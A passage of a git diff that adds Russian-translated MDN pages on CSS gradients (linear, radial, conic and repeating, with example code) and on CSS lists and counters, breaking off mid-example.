+<p>По умолчанию градиент идёт плавно от одного цвета до другого. Вы можете добавить цветовую подсказку, чтобы переместить значение средней точки перехода в определённую точку градиента. В этом примере мы переместили среднюю точку перехода из отметки 50% на отметку 10%.</p>
+
+<div class="hidden">
+<pre class="brush: html" dir="rtl">&lt;div class="color-hint"&gt;&lt;/div&gt;
+&lt;div class="simple-linear"&gt;&lt;/div&gt;</pre>
+
+<pre class="brush: css">div {
+  width: 120px;
+  height: 120px; float: left; margin-right: 10px;
+}</pre>
+</div>
+
+<pre class="brush: css">.color-hint {
+  background: linear-gradient(blue, 10%, pink);
+}
+.simple-linear {
+  background: linear-gradient(blue, pink);
+}</pre>
+
+<p>{{ EmbedLiveSample('Подсказки_градиента', 120, 120) }}</p>
+</div>
+
+<div>
+<h3 id="Создание_цветных_линий_и_полосок">Создание цветных линий и полосок</h3>
+
+<p>Чтобы добавить внутрь градиента сплошную цветную область без плавного перехода, добавьте две позиции для точки остановки. Точки остановки могут быть в двух позициях, что эквивалентно двум подряд точкам остановки с тем же цветом на разных позициях. Цвет достигнет полной насыщенности на первой точке, проследует с той же насыщенностью до второй точки остановки и перейдёт в цвет следующей точки остановки через первую позицию следующей точки остановки.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="multiposition-stops"&gt;&lt;/div&gt;
+&lt;div class="multiposition-stop2"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 120px;
+  height: 120px;
+  float: left; margin-right: 10px; box-sizing: border-box;
+}</pre>
+</div>
+
+<pre class="brush: css">.multiposition-stops {
+   background: linear-gradient(to left,
+       lime 20%, red 30%, red 45%, cyan 55%, cyan 70%, yellow 80% );
+   background: linear-gradient(to left,
+       lime 20%, red 30% 45%, cyan 55% 70%, yellow 80% );
+}
+.multiposition-stop2 {
+   background: linear-gradient(to left,
+      lime 25%, red 25%, red 50%, cyan 50%, cyan 75%, yellow 75% );
+   background: linear-gradient(to left,
+      lime 25%, red 25% 50%, cyan 50% 75%, yellow 75% );
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Создание_цветных_линий_и_полосок', 120, 120) }}</p>
+
+<p>В первом примере выше лаймовый цвет идёт от отметки 0%, далее, как указано, до отметки 20%, сделает переход от лаймового до красного через 10% ширины градиента, достигнет сплошного красного на отметке 30%, и останется таким до 45% градиента, где он потускнеет до голубого, оставаясь таким ещё 15% градинета, и так далее.</p>
+
+<p>Во втором примере каждая вторая точка остановки для каждого цвета находится на той же позиции, что и первая точка остановки соседнего цвета, создавая полосатый эффект.</p>
+
+<p>В обоих примерах градиент написан дважды: первый – это метод из CSS-изображений уровня 3 использующий повторения цвета на каждой остановке, а второй пример – это метод из CSS-изображений уровня 4, где в линейном объявлении точек остановки используются множественные точки остановки с двумя значениями длин точек остановки.</p>
+</div>
+
+<div>
+<h3 id="Управление_переходом_градиента">Управление переходом градиента</h3>
+
+<p>По умолчанию градиент плавно переходит между цветами двух соседних точек остановки, а средняя точка между этими двумя точками остановки является средним значением цветового перехода. Вы можете контролировать интерполяцию или переход между двумя точками остановки добавлением его расположения в цветовой подсказке. В этом примере цвет достигает средней точки перехода от лаймового до голубого на растоянии 20% градиента вместо стандартных 50%. Во втором примере нет такой подсказки, чтобы подчеркнуть отличие, получаемое при её использовании:</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="colorhint-gradient"&gt;&lt;/div&gt; &lt;div class="regular-progression"&gt;&lt;/div&gt;
+
+</pre>
+
+<pre class="brush: css">div {
+  width: 120px;
+  height: 120px;
+  float: left; margin-right: 10px; box-sizing: border-box;
+}</pre>
+</div>
+
+<pre class="brush: css">.colorhint-gradient {
+  background: linear-gradient(to top, black, 20%, cyan);
+}
+.regular-progression {
+  background: linear-gradient(to top, black, cyan);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Управление_переходом_градиента', 120, 120) }}</p>
+</div>
+
+<h3 id="Перекрытие_градиентов">Перекрытие градиентов</h3>
+
+<p>Градиенты поддерживают прозрачность, так что вы можете накладывать фоны для получения всяких разных эффектов. Фоны накладываются снизу вверх таким образом, что первый объявленный будет лежать поверх остальных.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="layered-image"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 300px;
+  height: 150px;
+}</pre>
+</div>
+
+<pre class="brush: css">.layered-image {
+  background: linear-gradient(to right, transparent, mistyrose),
+      url("https://mdn.mozillademos.org/files/15525/critters.png");
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Перекрытие_градиентов', 300, 150) }}</p>
+
+<h3 id="Наслаивание_градиентов">Наслаивание градиентов</h3>
+
+<p>Вы можете даже наслаивать градиенты друг на друга. Если верхние градиенты не полностью непрозрачны, градиенты, лежащие под ними, тоже будут видны.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="stacked-linear"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 200px;
+  height: 200px;
+}</pre>
+</div>
+
+<pre class="brush: css">.stacked-linear {
+  background:
+      linear-gradient(217deg, rgba(255,0,0,.8), rgba(255,0,0,0) 70.71%),
+      linear-gradient(127deg, rgba(0,255,0,.8), rgba(0,255,0,0) 70.71%),
+      linear-gradient(336deg, rgba(0,0,255,.8), rgba(0,0,255,0) 70.71%);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Наслаивание_градиентов', 200, 200) }}</p>
+
+<h2 id="Использование_круговых_градиентов">Использование круговых градиентов</h2>
+
+<p>Круговые градиенты схожи с линейными градиентами, за исключением того, что они создают градиентный круг по направлению от центральной точки. Вы можете указать, где должна находиться центральная точка. Вы также можете сделать её круглой или овальной.</p>
+
+<h3 id="Обычный_круговой_градиент">Обычный круговой градиент</h3>
+
+<p>Как и в случае с линейными градиентами, всё, что вам нужно, чтобы создать круговой градиент – это два цвета. По умолчанию центр градиента находится на отметке 50% 50%, градиент становится овальным с учётом соотношения сторон содержащего его блока:</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="simple-radial"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 240px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css">.simple-radial {
+  background: radial-gradient(red, blue);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Обычный_круговой_градиент', 120, 120) }}</p>
+
+<h3 id="Размещение_круговых_точек_остановки">Размещение круговых точек остановки</h3>
+
+<p>Опять же, как и у линейных градиентов, вы можете расположить каждую круговую точку остановки, указав значение в виде процентной или абсолютной длины.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="radial-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css">.radial-gradient {
+  background: radial-gradient(red 10px, yellow 30%, #1e90ff 50%);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Размещение_круговых_точек_остановки', 120, 120) }}</p>
+
+<h3 id="Расположение_центра_градиента">Расположение центра градиента</h3>
+
+<p>Вы можете расположить центр градиента с помощью ключевых значений, процентной или абсолютной длины. Значения в виде числа или процента повторяются в случае, если указано только одно из них, иначе порядок повторения будет определяться порядком расположения, начиная слева и сверху.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="radial-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 120px;
+  height: 240px;
+}</pre>
+</div>
+
+<pre class="brush: css">.radial-gradient {
+  background: radial-gradient(at 0% 30%, red 10px, yellow 30%, #1e90ff 50%);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Расположение_центра_градиента', 120, 120) }}</p>
+
+<h3 id="Задание_размеров_кругового_градиента">Задание размеров кругового градиента</h3>
+
+<p>В отличие от линейных градиентов, круговому градиенту можно задавать размеры. Возможные значения включат в себя: ближайший угол, ближайшая сторона, самый дальний угол и самая дальняя сторона, самый дальний угол – значение по умолчанию.</p>
+
+<h4 id="Пример_ближайшая_сторона_для_эллипса">Пример: ближайшая сторона для эллипса</h4>
+
+<p>В этом примере используется значение размера <code>closest-side</code>, которое означает, что размер определяется расстоянием от начальной точки (центра) до ближайшей стороны блока.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="radial-ellipse-side"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 240px;
+  height: 100px;
+}</pre>
+</div>
+
+<pre class="brush: css">.radial-ellipse-side {
+  background: radial-gradient(ellipse closest-side,
+      red, yellow 10%, #1e90ff 50%, beige);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Пример_ближайшая_сторона_для_эллипса', 240, 100) }}</p>
+
+<h4 id="Пример_самый_дальний_угол_для_эллипса">Пример: самый дальний угол для эллипса</h4>
+
+<p>Этот пример схож с предыдущим, за исключением того, что его размер указан как <code>farthest-corner</code>, что устанавливает размер градиента значением расстояния от начальной точки до самого дальнего угла блока.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="radial-ellipse-far"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 240px;
+  height: 100px;
+}</pre>
+</div>
+
+<pre class="brush: css">.radial-ellipse-far {
+  background: radial-gradient(ellipse farthest-corner at 90% 90%,
+      red, yellow 10%, #1e90ff 50%, beige);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Пример_самый_дальний_угол_для_эллипса', 240, 100) }}</p>
+
+<h4 id="Пример_ближайшая_сторона_для_круга">Пример: ближайшая сторона для круга</h4>
+
+<p>Этот пример использует <code>closest-side</code>, что задаёт размер круга как расстояние между начальной точкой (центром) и ближайшей стороной. Радиус круга – это расстояние между центром градиента и ближайшей стороной. Круг, с учётом позиционирования в точке 25% от левой стороны и 25% от низа, ближе всего к низу, так как расстояние по высоте в этом случае меньше, чем по ширине.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="radial-circle-close"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 240px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css">.radial-circle-close {
+  background: radial-gradient(circle closest-side at 25% 75%,
+      red, yellow 10%, #1e90ff 50%, beige);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Пример_ближайшая_сторона_для_круга', 240, 120) }}</p>
+
+<h3 id="Наложение_круговых_градиентов">Наложение круговых градиентов</h3>
+
+<p>Вы можете накладывать круговые градиенты так же, как линейные. Первый объявленный будет сверху, последний – снизу.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="stacked-radial"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 200px;
+  height: 200px;
+}</pre>
+</div>
+
+<pre class="brush: css">.stacked-radial {
+  background:
+      radial-gradient(circle at 50% 0,
+        rgba(255,0,0,.5),
+        rgba(255,0,0,0) 70.71%),
+      radial-gradient(circle at 6.7% 75%,
+        rgba(0,0,255,.5),
+        rgba(0,0,255,0) 70.71%),
+      radial-gradient(circle at 93.3% 75%,
+        rgba(0,255,0,.5),
+        rgba(0,255,0,0) 70.71%) beige;
+  border-radius: 50%;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Наложение_круговых_градиентов', 200, 200) }}</p>
+
+<h2 id="Использование_конических_градиентов">Использование конических градиентов</h2>
+
+<p><a href="/en-US/docs/Web/CSS">CSS</a>-функция <strong><code>conic-gradient()</code></strong> создаёт изображение, состоящее из градиента с переходом цвета, обёрнутым вокруг центральной точки (в отличие от градиента, исходящего кругом от центральной точки). Образцом конического градиента можно назвать круговые диаграммы и цветовые круги, но он также может быть использован для создания шахматной доски (клетки) и других интересных эффектов.</p>
+
+<p>Синтаксис конического градиента схож с синтаксисом кругового градиента, но с тем отличием, что точки остановки цвета располагаются вокруг градиентной дуги, вдоль длины окружности круга, а не по градиентной линии, идущей от центра градиента. Также, точки остановки цвета задаются только в процентах или градусах, абсолютные величины недопустимы.</p>
+
+<p>В круговом градиенте цвета переходят от центра окружности наружу, во всех направлениях. В случае конического градиента цвета идут, как бы оборачиваясь вокруг центра круга, начиная сверху и двигаясь по часовой стрелке. Так же, как и в круговом градиенте, вы можете указать расположение центра градиента. Так же, как и в линейном градиенте, вы можете изменять угол градиента.</p>
+
+<div>
+<h3 id="Обычный_конический_градиент">Обычный конический градиент</h3>
+
+<p>Так же, как и в случае с линейными и круговыми градиентами, всё, что вам нужно для создания конического градиента – это два цвета. По умолчанию центр градиента находится в точке 50% 50%, начало градиента направлено вверх:</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="simple-conic"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css">.simple-conic {
+  background: conic-gradient(red, blue);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Обычный_конический_градиент', 120, 120) }}</p>
+</div>
+
+<div>
+<h3 id="Расположение_конического_центра">Расположение конического центра</h3>
+
+<p>Как и в круговом градиенте, вы можете задать расположение центра конического градиента с помощью ключевых значений, процентных или абсолютных величин с использованием ключевого слова "at".</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="conic-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css">.conic-gradient {
+  background: conic-gradient(at 0% 30%, red 10%, yellow 30%, #1e90ff 50%);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Расположение_конического_центра', 120, 120) }}</p>
+</div>
+
+<div>
+<h3 id="Изменение_угла">Изменение угла</h3>
+
+<p>Вы можете задать угол, в котором направлено начало градиента значением типа {{cssxref("&lt;angle&gt;")}}, с предшествующим ему ключевым словом "from".</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="conic-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css">.conic-gradient {
+  background: conic-gradient(from 45deg, red, orange, yellow, green, blue, purple);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Изменение_угла', 120, 120) }}</p>
+</div>
+
+<h2 id="Использование_повторяющихся_градиентов">Использование повторяющихся градиентов</h2>
+
+<p>Функции {{cssxref("linear-gradient")}}, {{cssxref("radial-gradient")}} и {{cssxref("conic-gradient")}} не поддерживают автоматически повторяющиеся точки остановки цвета. Однако, для реализации этой функциональности существуют функции {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}} и {{cssxref("repeating-conic-gradient")}}.</p>
+
+<p>Размер повторяющейся градиентной линии или дуги – это длина от значения первой до значения последней точки остановки цвета. Если первая точка остановки содержит только цвет без указания длины до точки остановки, то используется значение по умолчанию, равное 0. Если последняя точка остановки содержит только цвет без указания длины до точки установки, то используется значение по умолчанию, равное 100%. Если ни то, ни другое не определено, то линия градиента будет равна 100%, что означает, что линейный и конический градиент не будет повторяться, а круговой градиент будет повторяться, только если радиус градиента меньше, чем расстояние между центром градиента и самым дальним углом. Если первая точка остановки определена и имеет значение больше 0, градиент будет повторяться при условии, что размер линии или дуги равен разнице между первой и последней точкой остановки, если эта разница меньше, чем 100% или 360 градусов.</p>
+
+<div>
+<h3 id="Повторяющиеся_линейные_градиенты">Повторяющиеся линейные градиенты</h3>
+
+<p>В этом примере используется {{cssxref("repeating-linear-gradient")}} для создания повторяющегося градиента, идущего по прямой линии. Цветовая последовательность начинается заново с каждым повторением градиента. В данном случае градиент имеет длину 10px.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="repeating-linear"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css">.repeating-linear {
+  background: repeating-linear-gradient(-45deg, red, red 5px, blue 5px, blue 10px);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Повторяющиеся_линейные_градиенты', 120, 120) }}</p>
+</div>
+
+<div>
+<h3 id="Множественные_повторяющиеся_линейные_градиенты">Множественные повторяющиеся линейные градиенты</h3>
+
+<p>Так же, как и в случае с обычными линейными и круговыми градиентами, вы можете использовать множественные градиенты, один поверх другого. Это имеет смысл, только если градиенты частично прозрачны, что позволяет видеть одни градиенты сквозь прозрачные части других градиентов, этого же можно достичь при условии использования разных <a href="/en-US/docs/Web/CSS/background-size">размеров фона (background-size)</a>, при этом возможно ещё и при разных значениях свойства <a href="/en-US/docs/Web/CSS/background-position">background-position</a> для каждого градиента. Мы использовали прозрачность.</p>
+
+<p>В данном случае градиентные линии имеют длину 300px, 230px и 300px.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="multi-repeating-linear"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 600px;
+  height: 400px;
+}</pre>
+</div>
+
+<pre class="brush: css">.multi-repeating-linear {
+  background:
+      repeating-linear-gradient(190deg, rgba(255, 0, 0, 0.5) 40px,
+        rgba(255, 153, 0, 0.5) 80px, rgba(255, 255, 0, 0.5) 120px,
+        rgba(0, 255, 0, 0.5) 160px, rgba(0, 0, 255, 0.5) 200px,
+        rgba(75, 0, 130, 0.5) 240px, rgba(238, 130, 238, 0.5) 280px,
+        rgba(255, 0, 0, 0.5) 300px),
+      repeating-linear-gradient(-190deg, rgba(255, 0, 0, 0.5) 30px,
+        rgba(255, 153, 0, 0.5) 60px, rgba(255, 255, 0, 0.5) 90px,
+        rgba(0, 255, 0, 0.5) 120px, rgba(0, 0, 255, 0.5) 150px,
+        rgba(75, 0, 130, 0.5) 180px, rgba(238, 130, 238, 0.5) 210px,
+        rgba(255, 0, 0, 0.5) 230px),
+      repeating-linear-gradient(23deg, red 50px, orange 100px,
+        yellow 150px, green 200px, blue 250px,
+        indigo 300px, violet 350px, red 370px);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Множественные_повторяющиеся_линейные_градиенты', 600, 400) }}</p>
+</div>
+
+<h3 id="Клетчатый_градиент">Клетчатый градиент</h3>
+
+<p>Для создания клетчатого градиента мы используем несколько полупрозрачных перекрывающих друг друга градиентов. В первом объявлении фона мы внесли в список каждую остановку цвета отдельно. Во втором объявлении свойства background используется синтаксис многопозиционных остановок цвета:</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="plaid-gradient"&gt;&lt;/div&gt;</pre>
+
+<pre class="brush: css">div {
+  width: 200px;
+  height: 200px;
+}</pre>
+</div>
+
+<pre class="brush: css">.plaid-gradient {
+  background:
+      repeating-linear-gradient(90deg, transparent, transparent 50px,
+        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
+        transparent 56px, transparent 63px,
+        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
+        transparent 69px, transparent 116px,
+        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
+      repeating-linear-gradient(0deg, transparent, transparent 50px,
+        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
+        transparent 56px, transparent 63px,
+        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
+        transparent 69px, transparent 116px,
+        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
+      repeating-linear-gradient(-45deg, transparent, transparent 5px,
+        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px),
+      repeating-linear-gradient(45deg, transparent, transparent 5px,
+        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px);
+
+  background:
+      repeating-linear-gradient(90deg, transparent 0 50px,
+        rgba(255, 127, 0, 0.25) 50px 56px,
+        transparent 56px 63px,
+        rgba(255, 127, 0, 0.25) 63px 69px,
+        transparent 69px 116px,
+        rgba(255, 206, 0, 0.25) 116px 166px),
+      repeating-linear-gradient(0deg, transparent 0 50px,
+        rgba(255, 127, 0, 0.25) 50px 56px,
+        transparent 56px 63px,
+        rgba(255, 127, 0, 0.25) 63px 69px,
+        transparent 69px 116px,
+        rgba(255, 206, 0, 0.25) 116px 166px),
+      repeating-linear-gradient(-45deg, transparent 0 5px,
+        rgba(143, 77, 63, 0.25) 5px 10px),
+      repeating-linear-gradient(45deg, transparent 0 5px,
+        rgba(143, 77, 63, 0.25) 5px 10px);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Клетчатый_градиент', 200, 200) }}</p>
+
+<h3 id="Повторяющиеся_круговые_градиенты">Повторяющиеся круговые градиенты</h3>
+
+<p>В этом примере для создания кругового градиента, повторяющегося из центральной точки, используется {{cssxref("repeating-radial-gradient")}}. Цветовая последовательность начинаются заново с каждой итерацией повторения градиента.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="repeating-radial"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css">.repeating-radial {
+  background: repeating-radial-gradient(black, black 5px, white 5px, white 10px);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Повторяющиеся_круговые_градиенты', 120, 120) }}</p>
+
+<h3 id="Множественные_повторяющиеся_круговые_градиенты">Множественные повторяющиеся круговые градиенты</h3>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="multi-target"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">div {
+  width: 250px;
+  height: 150px;
+}</pre>
+</div>
+
+<pre class="brush: css">.multi-target {
+  background:
+      repeating-radial-gradient(ellipse at 80% 50%,rgba(0,0,0,0.5),
+        rgba(0,0,0,0.5) 15px, rgba(255,255,255,0.5) 15px,
+        rgba(255,255,255,0.5) 30px) top left no-repeat,
+      repeating-radial-gradient(ellipse at 20% 50%,rgba(0,0,0,0.5),
+        rgba(0,0,0,0.5) 10px, rgba(255,255,255,0.5) 10px,
+        rgba(255,255,255,0.5) 20px) top left no-repeat yellow;
+  background-size: 200px 200px, 150px 150px;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Множественные_повторяющиеся_круговые_градиенты', 250, 150) }}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Градиентные функции: {{cssxref("linear-gradient")}}, {{cssxref("radial-gradient")}}, {{cssxref("conic-gradient")}}, {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}}, {{cssxref("repeating-conic-gradient")}}</li>
+ <li>Типы данных CSS, связанные с градиентами: {{cssxref("&lt;gradient&gt;")}}, {{cssxref("&lt;image&gt;")}}</li>
+ <li>Свойства CSS, связанные с градиентами: {{cssxref("background")}}, {{cssxref("background-image")}}</li>
+ <li><a class="external" href="http://lea.verou.me/css3patterns/">Галерея шаблонов градиентов CSS, от Lea Verou</a></li>
+ <li><a class="external" href="http://standardista.com/cssgradients">Библиотека градиентов CSS3, от Estelle Weyl</a></li>
+ <li><a href="https://cssgenerator.org/gradient-css-generator.html">Генератор градиентов CSS</a></li>
+</ul>
diff --git a/files/ru/web/css/css_lists_and_counters/index.html b/files/ru/web/css/css_lists_and_counters/index.html
new file mode 100644
index 0000000000..773990c723
--- /dev/null
+++ b/files/ru/web/css/css_lists_and_counters/index.html
@@ -0,0 +1,134 @@
+---
+title: CSS Lists and Counters
+slug: Web/CSS/CSS_Lists_and_Counters
+tags:
+  - CSS
+  - CSS Lists and Counters
+  - CSS Reference
+  - NeedsTranslation
+  - Overview
+  - TopicStub
+translation_of: Web/CSS/CSS_Lists_and_Counters
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Lists and Counters</strong> is a module of CSS that defines how lists are laid out, how the list marker can be styled and how authors can create new counters.</p>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="Properties">Properties</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("list-style-image")}}</li>
+ <li>{{cssxref("list-style-type")}}</li>
+ <li>{{cssxref("list-style-position")}}</li>
+ <li>{{cssxref("list-style")}}</li>
+ <li>{{cssxref("counter-reset")}}</li>
+ <li>{{cssxref("counter-increment")}}</li>
+</ul>
+</div>
+
+<h3 id="At-rules">At-rules</h3>
+
+<dl>
+ <dt>{{cssxref("@counter-style")}}</dt>
+ <dd>
+ <div class="index">
+ <ul>
+  <li>{{cssxref("@counter-style/system","system")}}</li>
+  <li>{{cssxref("@counter-style/additive-symbols", "additive-symbols")}}</li>
+  <li>{{cssxref("@counter-style/negative", "negative")}}</li>
+  <li>{{cssxref("@counter-style/prefix", "prefix")}}</li>
+  <li>{{cssxref("@counter-style/suffix", "suffix")}}</li>
+  <li>{{cssxref("@counter-style/range", "range")}}</li>
+  <li>{{cssxref("@counter-style/pad", "pad")}}</li>
+  <li>{{cssxref("@counter-style/speak-as", "speak-as")}}</li>
+  <li>{{cssxref("@counter-style/fallback", "fallback")}}</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Lists_and_Counters/Consistent_list_indentation">Consistent list indentation</a></dt>
+ <dd>Explains how to reach a consistent indentation between different browsers.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters">Using CSS counters</a></dt>
+ <dd>Describes how to use counters to be able to use numbering outside of traditional list elements or to perform complex counting.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Lists')}}</td>
+   <td>{{Spec2('CSS3 Lists')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'generate.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoMobile("1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/css/css_lists_and_counters/using_css_counters/index.html b/files/ru/web/css/css_lists_and_counters/using_css_counters/index.html
new file mode 100644
index 0000000000..6f2cf1d36b
--- /dev/null
+++ b/files/ru/web/css/css_lists_and_counters/using_css_counters/index.html
@@ -0,0 +1,126 @@
+---
+title: CSS счетчики
+slug: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters
+tags:
+  - CSS
+  - CSS счетчики
+  - вложенные счетчики
+translation_of: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters
+---
+<div>{{CSSRef}}</div>
+
+<p>CSS счетчики, в своей сущности, переменные CSS, значения которых могут быть инкрементированы при помощи CSS для отслеживания количества их использования. Они позволяют регулировать внешний вид контента, основываясь на его местоположении в документе. CSS счетчики реализованы в CSS 2.1 (<a href="https://www.w3.org/TR/CSS21/generate.html#counters">ссылка на спецификацию</a>).</p>
+
+<p>Значение счетчика сбрасывается (инициализируется) при помощи {{cssxref("counter-reset")}}. </p>
+
+<p>{{cssxref("counter-increment")}} может быть отображен на странице, используя функцию <code>counter() или counters() в свойстве </code>{{cssxref("content")}}.</p>
+
+<h2 id="Использование_счетчиков">Использование счетчиков</h2>
+
+<p>Для того, чтобы использовать CSS счетчики, сначала необходимо сбросить их значение (0 по умолчанию). Для того, чтобы отобразить значение счетчика - используйте функцию <code>counter(). Следующий пример прибавляет в начале каждого h3 элемента </code>"Section &lt;<em>значение счетчика</em>&gt;:".</p>
+
+<pre class="brush: css">body {
+  counter-reset: section;                     /* Устанавливает значение
+                                                 счетчика, равным 0 */
+}
+
+h3::before {
+  counter-increment: section;                 /* Инкрементирует счетчик*/
+  content: "Секция " counter(section) ": ";   /* Отображает текущее
+                                                 значение счетчика */
+}
+</pre>
+
+<p>Пример:</p>
+
+<pre class="brush: html">&lt;h3&gt;Вступление&lt;/h3&gt;
+&lt;h3&gt;Основная часть&lt;/h3&gt;
+&lt;h3&gt;Заключение&lt;/h3&gt;</pre>
+
+<p>{{EmbedLiveSample("Использование_счетчиков", 200, 150)}}</p>
+
+<h2 id="Вложенные_счетчики">Вложенные счетчики</h2>
+
+<p>CSS счетчики могут быть очень полезны для создания нумерованых списков, потому что новая сущность CSS счетчика автоматически создается в дочерних элементах. Используя функцию <code>counters(), можно вставить строку между разными уровнями вложенных счетчиков. Пример:</code></p>
+
+<pre class="brush: css">ol {
